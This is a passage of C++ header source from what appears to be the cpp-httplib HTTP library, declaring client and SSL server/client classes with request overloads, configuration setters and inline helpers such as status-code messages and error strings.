Result Patch(const std::string &path, const char *body, size_t content_length,\n               const std::string &content_type, Progress progress);\n  Result Patch(const std::string &path, const Headers &headers,\n               const char *body, size_t content_length,\n               const std::string &content_type);\n  Result Patch(const std::string &path, const Headers &headers,\n               const char *body, size_t content_length,\n               const std::string &content_type, Progress progress);\n  Result Patch(const std::string &path, const std::string &body,\n               const std::string &content_type);\n  Result Patch(const std::string &path, const std::string &body,\n               const std::string &content_type, Progress progress);\n  Result Patch(const std::string &path, const Headers &headers,\n               const std::string &body, const std::string &content_type);\n  Result Patch(const std::string &path, const Headers &headers,\n               const std::string &body, const std::string &content_type,\n               Progress progress);\n  Result Patch(const std::string &path, size_t content_length,\n               ContentProvider content_provider,\n               const std::string &content_type);\n  Result Patch(const std::string &path,\n               ContentProviderWithoutLength content_provider,\n               const std::string &content_type);\n  Result Patch(const std::string &path, const Headers &headers,\n               size_t content_length, ContentProvider content_provider,\n               const std::string &content_type);\n  Result Patch(const std::string &path, const Headers &headers,\n               ContentProviderWithoutLength content_provider,\n               const std::string &content_type);\n\n  Result Delete(const std::string &path);\n  Result Delete(const std::string &path, const Headers &headers);\n  Result Delete(const std::string &path, const char *body,\n                size_t content_length, const std::string &content_type);\n  Result Delete(const std::string &path, const char *body,\n                size_t content_length, const std::string &content_type,\n                Progress progress);\n  Result Delete(const std::string &path, const Headers &headers,\n                const char *body, size_t content_length,\n                const std::string &content_type);\n  Result Delete(const std::string &path, const Headers &headers,\n                const char *body, size_t content_length,\n                const std::string &content_type, Progress progress);\n  Result Delete(const std::string &path, const std::string &body,\n                const std::string &content_type);\n  Result Delete(const std::string &path, const std::string &body,\n                const std::string &content_type, Progress progress);\n  Result Delete(const std::string &path, const Headers &headers,\n                const std::string &body, const std::string &content_type);\n  Result Delete(const std::string &path, const Headers &headers,\n                const std::string &body, const std::string &content_type,\n                Progress progress);\n\n  Result Options(const std::string &path);\n  Result Options(const std::string &path, const Headers &headers);\n\n  bool send(Request &req, Response &res, Error &error);\n  Result send(const Request &req);\n\n  void stop();\n\n  std::string host() const;\n  int port() const;\n\n  size_t is_socket_open() const;\n  socket_t socket() const;\n\n  void set_hostname_addr_map(std::map<std::string, std::string> addr_map);\n\n  void set_default_headers(Headers headers);\n\n  void\n  set_header_writer(std::function<ssize_t(Stream &, Headers &)> const &writer);\n\n  void set_address_family(int family);\n  void set_tcp_nodelay(bool on);\n  void set_socket_options(SocketOptions socket_options);\n\n  void set_connection_timeout(time_t sec, time_t usec = 0);\n  template <class Rep, class Period>\n  void\n  set_connection_timeout(const std::chrono::duration<Rep, Period> &duration);\n\n  void set_read_timeout(time_t sec, time_t usec = 0);\n  template <class Rep, class Period>\n  void set_read_timeout(const std::chrono::duration<Rep, Period> &duration);\n\n  void set_write_timeout(time_t sec, time_t usec = 0);\n  template <class Rep, class Period>\n  void set_write_timeout(const std::chrono::duration<Rep, Period> &duration);\n\n  void set_basic_auth(const std::string &username, const std::string &password);\n  void set_bearer_token_auth(const std::string &token);\n#ifdef CPPHTTPLIB_OPENSSL_SUPPORT\n  void set_digest_auth(const std::string &username,\n                       const std::string &password);\n#endif\n\n  void set_keep_alive(bool on);\n  void set_follow_location(bool on);\n\n  void set_url_encode(bool on);\n\n  void set_compress(bool on);\n\n  void set_decompress(bool on);\n\n  void set_interface(const std::string &intf);\n\n  void set_proxy(const std::string &host, int port);\n  void set_proxy_basic_auth(const std::string &username,\n                            const std::string &password);\n  void set_proxy_bearer_token_auth(const std::string &token);\n#ifdef CPPHTTPLIB_OPENSSL_SUPPORT\n  void set_proxy_digest_auth(const std::string &username,\n                             const std::string &password);\n#endif\n\n#ifdef CPPHTTPLIB_OPENSSL_SUPPORT\n  void set_ca_cert_path(const std::string &ca_cert_file_path,\n                        const std::string &ca_cert_dir_path = std::string());\n  void set_ca_cert_store(X509_STORE *ca_cert_store);\n  X509_STORE *create_ca_cert_store(const char *ca_cert, std::size_t size) const;\n#endif\n\n#ifdef CPPHTTPLIB_OPENSSL_SUPPORT\n  void enable_server_certificate_verification(bool enabled);\n#endif\n\n  void set_logger(Logger logger);\n\nprotected:\n  struct Socket {\n    socket_t sock = INVALID_SOCKET;\n#ifdef CPPHTTPLIB_OPENSSL_SUPPORT\n    SSL *ssl = nullptr;\n#endif\n\n    bool is_open() const { return sock != INVALID_SOCKET; }\n  };\n\n  virtual bool create_and_connect_socket(Socket &socket, Error &error);\n\n  // All of:\n  //   shutdown_ssl\n  //   shutdown_socket\n  //   close_socket\n  // should ONLY be called when socket_mutex_ is locked.\n  // Also, shutdown_ssl and close_socket should also NOT be called concurrently\n  // with a DIFFERENT thread sending requests using that socket.\n  virtual void shutdown_ssl(Socket &socket, bool shutdown_gracefully);\n  void shutdown_socket(Socket &socket) const;\n  void close_socket(Socket &socket);\n\n  bool process_request(Stream &strm, Request &req, Response &res,\n                       bool close_connection, Error &error);\n\n  bool write_content_with_provider(Stream &strm, const Request &req,\n                                   Error &error) const;\n\n  void copy_settings(const ClientImpl &rhs);\n\n  // Socket endpoint information\n  const std::string host_;\n  const int port_;\n  const std::string host_and_port_;\n\n  // Current open socket\n  Socket socket_;\n  mutable std::mutex socket_mutex_;\n  std::recursive_mutex request_mutex_;\n\n  // These are all protected under socket_mutex\n  size_t socket_requests_in_flight_ = 0;\n  std::thread::id socket_requests_are_from_thread_ = std::thread::id();\n  bool socket_should_be_closed_when_request_is_done_ = false;\n\n  // Hostname-IP map\n  std::map<std::string, std::string> addr_map_;\n\n  // Default headers\n  Headers default_headers_;\n\n  // Header writer\n  std::function<ssize_t(Stream &, Headers &)> header_writer_ =\n      detail::write_headers;\n\n  // Settings\n  std::string client_cert_path_;\n  std::string client_key_path_;\n\n  time_t connection_timeout_sec_ = CPPHTTPLIB_CONNECTION_TIMEOUT_SECOND;\n  time_t connection_timeout_usec_ = CPPHTTPLIB_CONNECTION_TIMEOUT_USECOND;\n  time_t read_timeout_sec_ = CPPHTTPLIB_READ_TIMEOUT_SECOND;\n  time_t read_timeout_usec_ = CPPHTTPLIB_READ_TIMEOUT_USECOND;\n  time_t write_timeout_sec_ = CPPHTTPLIB_WRITE_TIMEOUT_SECOND;\n  time_t write_timeout_usec_ = CPPHTTPLIB_WRITE_TIMEOUT_USECOND;\n\n  std::string basic_auth_username_;\n  std::string basic_auth_password_;\n  std::string bearer_token_auth_token_;\n#ifdef CPPHTTPLIB_OPENSSL_SUPPORT\n  std::string digest_auth_username_;\n  std::string digest_auth_password_;\n#endif\n\n  bool keep_alive_ = false;\n  bool follow_location_ = false;\n\n  bool url_encode_ = true;\n\n  int address_family_ = AF_UNSPEC;\n  bool tcp_nodelay_ = CPPHTTPLIB_TCP_NODELAY;\n  SocketOptions socket_options_ = nullptr;\n\n  bool compress_ = false;\n  bool decompress_ = true;\n\n  std::string interface_;\n\n  std::string proxy_host_;\n  int proxy_port_ = -1;\n\n  std::string proxy_basic_auth_username_;\n  std::string proxy_basic_auth_password_;\n  std::string proxy_bearer_token_auth_token_;\n#ifdef CPPHTTPLIB_OPENSSL_SUPPORT\n  std::string proxy_digest_auth_username_;\n  std::string proxy_digest_auth_password_;\n#endif\n\n#ifdef CPPHTTPLIB_OPENSSL_SUPPORT\n  std::string ca_cert_file_path_;\n  std::string ca_cert_dir_path_;\n\n  X509_STORE *ca_cert_store_ = nullptr;\n#endif\n\n#ifdef CPPHTTPLIB_OPENSSL_SUPPORT\n  bool server_certificate_verification_ = true;\n#endif\n\n  Logger logger_;\n\nprivate:\n  bool send_(Request &req, Response &res, Error &error);\n  Result send_(Request &&req);\n\n  socket_t create_client_socket(Error &error) const;\n  bool read_response_line(Stream &strm, const Request &req,\n                          Response &res) const;\n  bool write_request(Stream &strm, Request &req, bool close_connection,\n                     Error &error);\n  bool redirect(Request &req, Response &res, Error &error);\n  bool handle_request(Stream &strm, Request &req, Response &res,\n                      bool close_connection, Error &error);\n  std::unique_ptr<Response> send_with_content_provider(\n      Request &req, const char *body, size_t content_length,\n      ContentProvider content_provider,\n      ContentProviderWithoutLength content_provider_without_length,\n      const std::string &content_type, Error &error);\n  Result send_with_content_provider(\n      const std::string &method, const std::string &path,\n      const Headers &headers, const char *body, size_t content_length,\n      ContentProvider content_provider,\n      ContentProviderWithoutLength content_provider_without_length,\n      const std::string &content_type, Progress progress);\n  ContentProviderWithoutLength get_multipart_content_provider(\n      const std::string &boundary, const MultipartFormDataItems &items,\n      const MultipartFormDataProviderItems &provider_items) const;\n\n  std::string adjust_host_string(const std::string &host) const;\n\n  virtual bool process_socket(const Socket &socket,\n                              std::function<bool(Stream &strm)> callback);\n  virtual bool is_ssl() const;\n};\n\nclass Client {\npublic:\n  // Universal interface\n  explicit Client(const std::string &scheme_host_port);\n\n  explicit Client(const std::string &scheme_host_port,\n                  const std::string &client_cert_path,\n                  const std::string &client_key_path);\n\n  // HTTP only interface\n  explicit Client(const std::string &host, int port);\n\n  explicit Client(const std::string &host, int port,\n                  const std::string &client_cert_path,\n                  const std::string &client_key_path);\n\n  Client(Client &&) = default;\n  Client &operator=(Client &&) = default;\n\n  ~Client();\n\n  bool is_valid() const;\n\n  Result Get(const std::string &path);\n  Result Get(const std::string &path, const Headers &headers);\n  Result Get(const std::string &path, Progress progress);\n  Result Get(const std::string &path, const Headers &headers,\n             Progress progress);\n  Result Get(const std::string &path, ContentReceiver content_receiver);\n  Result Get(const std::string &path, const Headers &headers,\n             ContentReceiver content_receiver);\n  Result Get(const std::string &path, ContentReceiver content_receiver,\n             Progress progress);\n  Result Get(const std::string &path, const Headers &headers,\n             ContentReceiver content_receiver, Progress progress);\n  Result Get(const std::string &path, ResponseHandler response_handler,\n             ContentReceiver content_receiver);\n  Result Get(const std::string &path, const Headers &headers,\n             ResponseHandler response_handler,\n             ContentReceiver content_receiver);\n  Result Get(const std::string &path, const Headers &headers,\n             ResponseHandler response_handler, ContentReceiver content_receiver,\n             Progress progress);\n  Result Get(const std::string &path, ResponseHandler response_handler,\n             ContentReceiver content_receiver, Progress progress);\n\n  Result Get(const std::string &path, const Params &params,\n             const Headers &headers, Progress progress = nullptr);\n  Result Get(const std::string &path, const Params &params,\n             const Headers &headers, ContentReceiver content_receiver,\n             Progress progress = nullptr);\n  Result Get(const std::string &path, const Params &params,\n             const Headers &headers, ResponseHandler response_handler,\n             ContentReceiver content_receiver, Progress progress = nullptr);\n\n  Result Head(const std::string &path);\n  Result Head(const std::string &path, const Headers &headers);\n\n  Result Post(const std::string &path);\n  Result Post(const std::string &path, const Headers &headers);\n  Result Post(const std::string &path, const char *body, size_t content_length,\n              const std::string &content_type);\n  Result Post(const std::string &path, const Headers &headers, const char *body,\n              size_t content_length, const std::string &content_type);\n  Result Post(const std::string &path, const Headers &headers, const char *body,\n              size_t content_length, const std::string &content_type,\n              Progress progress);\n  Result Post(const std::string &path, const std::string &body,\n              const std::string &content_type);\n  Result Post(const std::string &path, const std::string &body,\n              const std::string &content_type, Progress progress);\n  Result Post(const std::string &path, const Headers &headers,\n              const std::string &body, const std::string &content_type);\n  Result Post(const std::string &path, const Headers &headers,\n              const std::string &body, const std::string &content_type,\n              Progress progress);\n  Result Post(const std::string &path, size_t content_length,\n              ContentProvider content_provider,\n              const std::string &content_type);\n  Result Post(const std::string &path,\n              ContentProviderWithoutLength content_provider,\n              const std::string &content_type);\n  Result Post(const std::string &path, const Headers &headers,\n              size_t content_length, ContentProvider content_provider,\n              const std::string &content_type);\n  Result Post(const std::string &path, const Headers &headers,\n              ContentProviderWithoutLength content_provider,\n              const std::string &content_type);\n  Result Post(const std::string &path, const Params &params);\n  Result Post(const std::string &path, const Headers &headers,\n              const Params &params);\n  Result Post(const std::string &path, const Headers &headers,\n              const Params &params, Progress progress);\n  Result Post(const std::string &path, const MultipartFormDataItems &items);\n  Result Post(const std::string &path, const Headers &headers,\n              const MultipartFormDataItems &items);\n  Result Post(const std::string &path, const Headers &headers,\n              const MultipartFormDataItems &items, const std::string &boundary);\n  Result Post(const std::string &path, const Headers &headers,\n              const MultipartFormDataItems &items,\n              const MultipartFormDataProviderItems &provider_items);\n\n  Result Put(const std::string &path);\n  Result Put(const std::string &path, const char *body, size_t content_length,\n             const std::string &content_type);\n  Result Put(const std::string &path, const Headers &headers, const char *body,\n             size_t content_length, const std::string &content_type);\n  Result Put(const std::string &path, const Headers &headers, const char *body,\n             size_t content_length, const std::string &content_type,\n             Progress progress);\n  Result Put(const std::string &path, const std::string &body,\n             const std::string &content_type);\n  Result Put(const std::string &path, const std::string &body,\n             const std::string &content_type, Progress progress);\n  Result Put(const std::string &path, const Headers &headers,\n             const std::string &body, const std::string &content_type);\n  Result Put(const std::string &path, const Headers &headers,\n             const std::string &body, const std::string &content_type,\n             Progress progress);\n  Result Put(const std::string &path, size_t content_length,\n             ContentProvider content_provider, const std::string &content_type);\n  Result Put(const std::string &path,\n             ContentProviderWithoutLength content_provider,\n             const std::string &content_type);\n  Result Put(const std::string &path, const Headers &headers,\n             size_t content_length, ContentProvider content_provider,\n             const std::string &content_type);\n  Result Put(const std::string &path, const Headers &headers,\n             ContentProviderWithoutLength content_provider,\n             const std::string &content_type);\n  Result Put(const std::string &path, const Params &params);\n  Result Put(const std::string &path, const Headers &headers,\n             const Params &params);\n  Result Put(const std::string &path, const Headers &headers,\n             const Params &params, Progress progress);\n  Result Put(const std::string &path, const MultipartFormDataItems &items);\n  Result Put(const std::string &path, const Headers &headers,\n             const MultipartFormDataItems &items);\n  Result Put(const std::string &path, const Headers &headers,\n             const MultipartFormDataItems &items, const std::string &boundary);\n  Result Put(const std::string &path, const Headers &headers,\n             const MultipartFormDataItems &items,\n             const MultipartFormDataProviderItems &provider_items);\n\n  Result Patch(const std::string &path);\n  Result Patch(const std::string &path, const char *body, size_t content_length,\n               const std::string &content_type);\n  Result Patch(const std::string &path, const char *body, size_t content_length,\n               const std::string &content_type, Progress progress);\n  Result Patch(const std::string &path, const Headers &headers,\n               const char *body, size_t content_length,\n               const std::string &content_type);\n  Result Patch(const std::string &path, const Headers &headers,\n               const char *body, size_t content_length,\n               const std::string &content_type, Progress progress);\n  Result Patch(const std::string &path, const std::string &body,\n               const std::string &content_type);\n  Result Patch(const std::string &path, const std::string &body,\n               const std::string &content_type, Progress progress);\n  Result Patch(const std::string &path, const Headers &headers,\n               const std::string &body, const std::string &content_type);\n  Result Patch(const std::string &path, const Headers &headers,\n               const std::string &body, const std::string &content_type,\n               Progress progress);\n  Result Patch(const std::string &path, size_t content_length,\n               ContentProvider content_provider,\n               const std::string &content_type);\n  Result Patch(const std::string &path,\n               ContentProviderWithoutLength content_provider,\n               const std::string &content_type);\n  Result Patch(const std::string &path, const Headers &headers,\n               size_t content_length, ContentProvider content_provider,\n               const std::string &content_type);\n  Result Patch(const std::string &path, const Headers &headers,\n               ContentProviderWithoutLength content_provider,\n               const std::string &content_type);\n\n  Result Delete(const std::string &path);\n  Result Delete(const std::string &path, const Headers &headers);\n  Result Delete(const std::string &path, const char *body,\n                size_t content_length, const std::string &content_type);\n  Result Delete(const std::string &path, const char *body,\n                size_t content_length, const std::string &content_type,\n                Progress progress);\n  Result Delete(const std::string &path, const Headers &headers,\n                const char *body, size_t content_length,\n                const std::string &content_type);\n  Result Delete(const std::string &path, const Headers &headers,\n                const char *body, size_t content_length,\n                const std::string &content_type, Progress progress);\n  Result Delete(const std::string &path, const std::string &body,\n                const std::string &content_type);\n  Result Delete(const std::string &path, const std::string &body,\n                const std::string &content_type, Progress progress);\n  Result Delete(const std::string &path, const Headers &headers,\n                const std::string &body, const std::string &content_type);\n  Result Delete(const std::string &path, const Headers &headers,\n                const std::string &body, const std::string &content_type,\n                Progress progress);\n\n  Result Options(const std::string &path);\n  Result Options(const std::string &path, const Headers &headers);\n\n  bool send(Request &req, Response &res, Error &error);\n  Result send(const Request &req);\n\n  void stop();\n\n  std::string host() const;\n  int port() const;\n\n  size_t is_socket_open() const;\n  socket_t socket() const;\n\n  void set_hostname_addr_map(std::map<std::string, std::string> addr_map);\n\n  void set_default_headers(Headers headers);\n\n  void\n  set_header_writer(std::function<ssize_t(Stream &, Headers &)> const &writer);\n\n  void set_address_family(int family);\n  void set_tcp_nodelay(bool on);\n  void set_socket_options(SocketOptions socket_options);\n\n  void set_connection_timeout(time_t sec, time_t usec = 0);\n  template <class Rep, class Period>\n  void\n  set_connection_timeout(const std::chrono::duration<Rep, Period> &duration);\n\n  void set_read_timeout(time_t sec, time_t usec = 0);\n  template <class Rep, class Period>\n  void set_read_timeout(const std::chrono::duration<Rep, Period> &duration);\n\n  void set_write_timeout(time_t sec, time_t usec = 0);\n  template <class Rep, class Period>\n  void set_write_timeout(const std::chrono::duration<Rep, Period> &duration);\n\n  void set_basic_auth(const std::string &username, const std::string &password);\n  void set_bearer_token_auth(const std::string &token);\n#ifdef CPPHTTPLIB_OPENSSL_SUPPORT\n  void set_digest_auth(const std::string &username,\n                       const std::string &password);\n#endif\n\n  void set_keep_alive(bool on);\n  void set_follow_location(bool on);\n\n  void set_url_encode(bool on);\n\n  void set_compress(bool on);\n\n  void set_decompress(bool on);\n\n  void set_interface(const std::string &intf);\n\n  void set_proxy(const std::string &host, int port);\n  void set_proxy_basic_auth(const std::string &username,\n                            const std::string &password);\n  void set_proxy_bearer_token_auth(const std::string &token);\n#ifdef CPPHTTPLIB_OPENSSL_SUPPORT\n  void set_proxy_digest_auth(const std::string &username,\n                             const std::string &password);\n#endif\n\n#ifdef CPPHTTPLIB_OPENSSL_SUPPORT\n  void enable_server_certificate_verification(bool enabled);\n#endif\n\n  void set_logger(Logger logger);\n\n  // SSL\n#ifdef CPPHTTPLIB_OPENSSL_SUPPORT\n  void set_ca_cert_path(const std::string &ca_cert_file_path,\n                        const std::string &ca_cert_dir_path = std::string());\n\n  void set_ca_cert_store(X509_STORE *ca_cert_store);\n  void load_ca_cert_store(const char *ca_cert, std::size_t size);\n\n  long get_openssl_verify_result() const;\n\n  SSL_CTX *ssl_context() const;\n#endif\n\nprivate:\n  std::unique_ptr<ClientImpl> cli_;\n\n#ifdef CPPHTTPLIB_OPENSSL_SUPPORT\n  bool is_ssl_ = false;\n#endif\n};\n\n#ifdef CPPHTTPLIB_OPENSSL_SUPPORT\nclass SSLServer : public Server {\npublic:\n  SSLServer(const char *cert_path, const char *private_key_path,\n            const char *client_ca_cert_file_path = nullptr,\n            const char *client_ca_cert_dir_path = nullptr,\n            const char *private_key_password = nullptr);\n\n  SSLServer(X509 *cert, EVP_PKEY *private_key,\n            X509_STORE *client_ca_cert_store = nullptr);\n\n  SSLServer(\n      const std::function<bool(SSL_CTX &ssl_ctx)> &setup_ssl_ctx_callback);\n\n  ~SSLServer() override;\n\n  bool is_valid() const override;\n\n  SSL_CTX *ssl_context() const;\n\n  void update_certs(X509 *cert, EVP_PKEY *private_key,\n                    X509_STORE *client_ca_cert_store = nullptr);\n\nprivate:\n  bool process_and_close_socket(socket_t sock) override;\n\n  SSL_CTX *ctx_;\n  std::mutex ctx_mutex_;\n};\n\nclass SSLClient final : public ClientImpl {\npublic:\n  explicit SSLClient(const std::string &host);\n\n  explicit SSLClient(const std::string &host, int port);\n\n  explicit SSLClient(const std::string &host, int port,\n                     const std::string &client_cert_path,\n                     const std::string &client_key_path,\n                     const std::string &private_key_password = std::string());\n\n  explicit SSLClient(const std::string &host, int port, X509 *client_cert,\n                     EVP_PKEY *client_key,\n                     const std::string &private_key_password = std::string());\n\n  ~SSLClient() override;\n\n  bool is_valid() const override;\n\n  void set_ca_cert_store(X509_STORE *ca_cert_store);\n  void load_ca_cert_store(const char *ca_cert, std::size_t size);\n\n  long get_openssl_verify_result() const;\n\n  SSL_CTX *ssl_context() const;\n\nprivate:\n  bool create_and_connect_socket(Socket &socket, Error &error) override;\n  void shutdown_ssl(Socket &socket, bool shutdown_gracefully) override;\n  void shutdown_ssl_impl(Socket &socket, bool shutdown_gracefully);\n\n  bool process_socket(const Socket &socket,\n                      std::function<bool(Stream &strm)> callback) override;\n  bool is_ssl() const override;\n\n  bool connect_with_proxy(Socket &sock, Response &res, bool &success,\n                          Error &error);\n  bool initialize_ssl(Socket &socket, Error &error);\n\n  bool load_certs();\n\n  bool verify_host(X509 *server_cert) const;\n  bool verify_host_with_subject_alt_name(X509 *server_cert) const;\n  bool verify_host_with_common_name(X509 *server_cert) const;\n  bool check_host_name(const char *pattern, size_t pattern_len) const;\n\n  SSL_CTX *ctx_;\n  std::mutex ctx_mutex_;\n  std::once_flag initialize_cert_;\n\n  std::vector<std::string> host_components_;\n\n  long verify_result_ = 0;\n\n  friend class ClientImpl;\n};\n#endif\n\n/*\n * Implementation of template methods.\n */\n\nnamespace detail {\n\ntemplate <typename T, typename U>\ninline void duration_to_sec_and_usec(const T &duration, U callback) {\n  auto sec = std::chrono::duration_cast<std::chrono::seconds>(duration).count();\n  auto usec = std::chrono::duration_cast<std::chrono::microseconds>(\n                  duration - std::chrono::seconds(sec))\n                  .count();\n  callback(static_cast<time_t>(sec), static_cast<time_t>(usec));\n}\n\ninline uint64_t get_header_value_u64(const Headers &headers,\n                                     const std::string &key, size_t id,\n                                     uint64_t def) {\n  auto rng = headers.equal_range(key);\n  auto it = rng.first;\n  std::advance(it, static_cast<ssize_t>(id));\n  if (it != rng.second) {\n    return std::strtoull(it->second.data(), nullptr, 10);\n  }\n  return def;\n}\n\n} // namespace detail\n\ninline uint64_t Request::get_header_value_u64(const std::string &key,\n                                              size_t id) const {\n  return detail::get_header_value_u64(headers, key, id, 0);\n}\n\ninline uint64_t Response::get_header_value_u64(const std::string &key,\n                                               size_t id) const {\n  return detail::get_header_value_u64(headers, key, id, 0);\n}\n\ntemplate <typename... Args>\ninline ssize_t Stream::write_format(const char *fmt, const Args &...args) {\n  const auto bufsiz = 2048;\n  std::array<char, bufsiz> buf{};\n\n  auto sn = snprintf(buf.data(), buf.size() - 1, fmt, args...);\n  if (sn <= 0) { return sn; }\n\n  auto n = static_cast<size_t>(sn);\n\n  if (n >= buf.size() - 1) {\n    std::vector<char> glowable_buf(buf.size());\n\n    while (n >= glowable_buf.size() - 1) {\n      glowable_buf.resize(glowable_buf.size() * 2);\n      n = static_cast<size_t>(\n          snprintf(&glowable_buf[0], glowable_buf.size() - 1, fmt, args...));\n    }\n    return write(&glowable_buf[0], n);\n  } else {\n    return write(buf.data(), n);\n  }\n}\n\ninline void default_socket_options(socket_t sock) {\n  int yes = 1;\n#ifdef _WIN32\n  setsockopt(sock, SOL_SOCKET, SO_REUSEADDR,\n             reinterpret_cast<const char *>(&yes), sizeof(yes));\n  setsockopt(sock, SOL_SOCKET, SO_EXCLUSIVEADDRUSE,\n             reinterpret_cast<const char *>(&yes), sizeof(yes));\n#else\n#ifdef SO_REUSEPORT\n  setsockopt(sock, SOL_SOCKET, SO_REUSEPORT,\n             reinterpret_cast<const void *>(&yes), sizeof(yes));\n#else\n  setsockopt(sock, SOL_SOCKET, SO_REUSEADDR,\n             reinterpret_cast<const void *>(&yes), sizeof(yes));\n#endif\n#endif\n}\n\ninline const char *status_message(int status) {\n  switch (status) {\n  case StatusCode::Continue_100: return \"Continue\";\n  case StatusCode::SwitchingProtocol_101: return \"Switching Protocol\";\n  case StatusCode::Processing_102: return \"Processing\";\n  case StatusCode::EarlyHints_103: return \"Early Hints\";\n  case StatusCode::OK_200: return \"OK\";\n  case StatusCode::Created_201: return \"Created\";\n  case StatusCode::Accepted_202: return \"Accepted\";\n  case StatusCode::NonAuthoritativeInformation_203:\n    return \"Non-Authoritative Information\";\n  case StatusCode::NoContent_204: return \"No Content\";\n  case StatusCode::ResetContent_205: return \"Reset Content\";\n  case StatusCode::PartialContent_206: return \"Partial Content\";\n  case StatusCode::MultiStatus_207: return \"Multi-Status\";\n  case StatusCode::AlreadyReported_208: return \"Already Reported\";\n  case StatusCode::IMUsed_226: return \"IM Used\";\n  case StatusCode::MultipleChoices_300: return \"Multiple Choices\";\n  case StatusCode::MovedPermanently_301: return \"Moved Permanently\";\n  case StatusCode::Found_302: return \"Found\";\n  case StatusCode::SeeOther_303: return \"See Other\";\n  case StatusCode::NotModified_304: return \"Not Modified\";\n  case StatusCode::UseProxy_305: return \"Use Proxy\";\n  case StatusCode::unused_306: return \"unused\";\n  case StatusCode::TemporaryRedirect_307: return \"Temporary Redirect\";\n  case StatusCode::PermanentRedirect_308: return \"Permanent Redirect\";\n  case StatusCode::BadRequest_400: return \"Bad Request\";\n  case StatusCode::Unauthorized_401: return \"Unauthorized\";\n  case StatusCode::PaymentRequired_402: return \"Payment Required\";\n  case StatusCode::Forbidden_403: return \"Forbidden\";\n  case StatusCode::NotFound_404: return \"Not Found\";\n  case StatusCode::MethodNotAllowed_405: return \"Method Not Allowed\";\n  case StatusCode::NotAcceptable_406: return \"Not Acceptable\";\n  case StatusCode::ProxyAuthenticationRequired_407:\n    return \"Proxy Authentication Required\";\n  case StatusCode::RequestTimeout_408: return \"Request Timeout\";\n  case StatusCode::Conflict_409: return \"Conflict\";\n  case StatusCode::Gone_410: return \"Gone\";\n  case StatusCode::LengthRequired_411: return \"Length Required\";\n  case StatusCode::PreconditionFailed_412: return \"Precondition Failed\";\n  case StatusCode::PayloadTooLarge_413: return \"Payload Too Large\";\n  case StatusCode::UriTooLong_414: return \"URI Too Long\";\n  case StatusCode::UnsupportedMediaType_415: return \"Unsupported Media Type\";\n  case StatusCode::RangeNotSatisfiable_416: return \"Range Not Satisfiable\";\n  case StatusCode::ExpectationFailed_417: return \"Expectation Failed\";\n  case StatusCode::ImATeapot_418: return \"I'm a teapot\";\n  case StatusCode::MisdirectedRequest_421: return \"Misdirected Request\";\n  case StatusCode::UnprocessableContent_422: return \"Unprocessable Content\";\n  case StatusCode::Locked_423: return \"Locked\";\n  case StatusCode::FailedDependency_424: return \"Failed Dependency\";\n  case StatusCode::TooEarly_425: return \"Too Early\";\n  case StatusCode::UpgradeRequired_426: return \"Upgrade Required\";\n  case StatusCode::PreconditionRequired_428: return \"Precondition Required\";\n  case StatusCode::TooManyRequests_429: return \"Too Many Requests\";\n  case StatusCode::RequestHeaderFieldsTooLarge_431:\n    return \"Request Header Fields Too Large\";\n  case StatusCode::UnavailableForLegalReasons_451:\n    return \"Unavailable For Legal Reasons\";\n  case StatusCode::NotImplemented_501: return \"Not Implemented\";\n  case StatusCode::BadGateway_502: return \"Bad Gateway\";\n  case StatusCode::ServiceUnavailable_503: return \"Service Unavailable\";\n  case StatusCode::GatewayTimeout_504: return \"Gateway Timeout\";\n  case StatusCode::HttpVersionNotSupported_505:\n    return \"HTTP Version Not Supported\";\n  case StatusCode::VariantAlsoNegotiates_506: return \"Variant Also Negotiates\";\n  case StatusCode::InsufficientStorage_507: return \"Insufficient Storage\";\n  case StatusCode::LoopDetected_508: return \"Loop Detected\";\n  case StatusCode::NotExtended_510: return \"Not Extended\";\n  case StatusCode::NetworkAuthenticationRequired_511:\n    return \"Network Authentication Required\";\n\n  default:\n  case StatusCode::InternalServerError_500: return \"Internal Server Error\";\n  }\n}\n\ninline std::string get_bearer_token_auth(const Request &req) {\n  if (req.has_header(\"Authorization\")) {\n    static std::string BearerHeaderPrefix = \"Bearer \";\n    return req.get_header_value(\"Authorization\")\n        .substr(BearerHeaderPrefix.length());\n  }\n  return \"\";\n}\n\ntemplate <class Rep, class Period>\ninline Server &\nServer::set_read_timeout(const std::chrono::duration<Rep, Period> &duration) {\n  detail::duration_to_sec_and_usec(\n      duration, [&](time_t sec, time_t usec) { set_read_timeout(sec, usec); });\n  return *this;\n}\n\ntemplate <class Rep, class Period>\ninline Server &\nServer::set_write_timeout(const std::chrono::duration<Rep, Period> &duration) {\n  detail::duration_to_sec_and_usec(\n      duration, [&](time_t sec, time_t usec) { set_write_timeout(sec, usec); });\n  return *this;\n}\n\ntemplate <class Rep, class Period>\ninline Server &\nServer::set_idle_interval(const std::chrono::duration<Rep, Period> &duration) {\n  detail::duration_to_sec_and_usec(\n      duration, [&](time_t sec, time_t usec) { set_idle_interval(sec, usec); });\n  return *this;\n}\n\ninline std::string to_string(const Error error) {\n  switch (error) {\n  case Error::Success: return \"Success (no error)\";\n  case Error::Connection: return \"Could not establish connection\";\n  case Error::BindIPAddress: return \"Failed to bind IP address\";\n  case Error::Read: return \"Failed to read connection\";\n  case Error::Write: return \"Failed to write connection\";\n  case Error::ExceedRedirectCount: return \"Maximum redirect count exceeded\";\n  case Error::Canceled: return \"Connection handling canceled\";\n  case Error::SSLConnection: return \"SSL connection failed\";\n  case Error::SSLLoadingCerts: return \"SSL certificate loading failed\";\n  case Error::SSLServerVerification: return \"SSL server verification failed\";\n  case Error::UnsupportedMultipartBoundaryChars:\n    return \"Unsupported HTTP multipart boundary characters\";\n  case Error::Compression: return \"Compression failed\";\n  case Error::ConnectionTimeout: return \"Connection timed out\";\n  case Error::ProxyConnection: return \"Proxy connection failed\";\n  case Error::Unknown: return \"Unknown\";\n  default: break;\n  }\n\n  return \"Invalid\";\n}\n\ninline std::ostream &operator<<(std::ostream &os, const Error &obj) {\n  os << to_string(obj);\n  os << \" (\" << static_cast<std::underlying_type<Error>::type>(obj) << ')';\n  return os;\n}\n\ninline uint64_t Result::get_request_header_value_u64(const std::string &key,\n                                                     size_t id) const {\n  return detail::get_header_value_u64(request_headers_, key, id, 0);\n}\n\ntemplate <class Rep, class Period>\ninline void ClientImpl::set_connection_timeout(\n    const std::chrono::duration<Rep, Period> &duration) {\n  detail::duration_to_sec_and_usec(duration, [&](time_t sec, time_t usec) {\n    set_connection_timeout(sec, usec);\n  });\n}\n\ntemplate <class Rep, class Period>\ninline void ClientImpl::set_read_timeout(\n    const std::chrono::duration<Rep, Period> &duration) {\n  detail::duration_to_sec_and_usec(\n      duration, [&](time_t sec, time_t usec) { set_read_timeout(sec, usec); });\n}\n\ntemplate <class 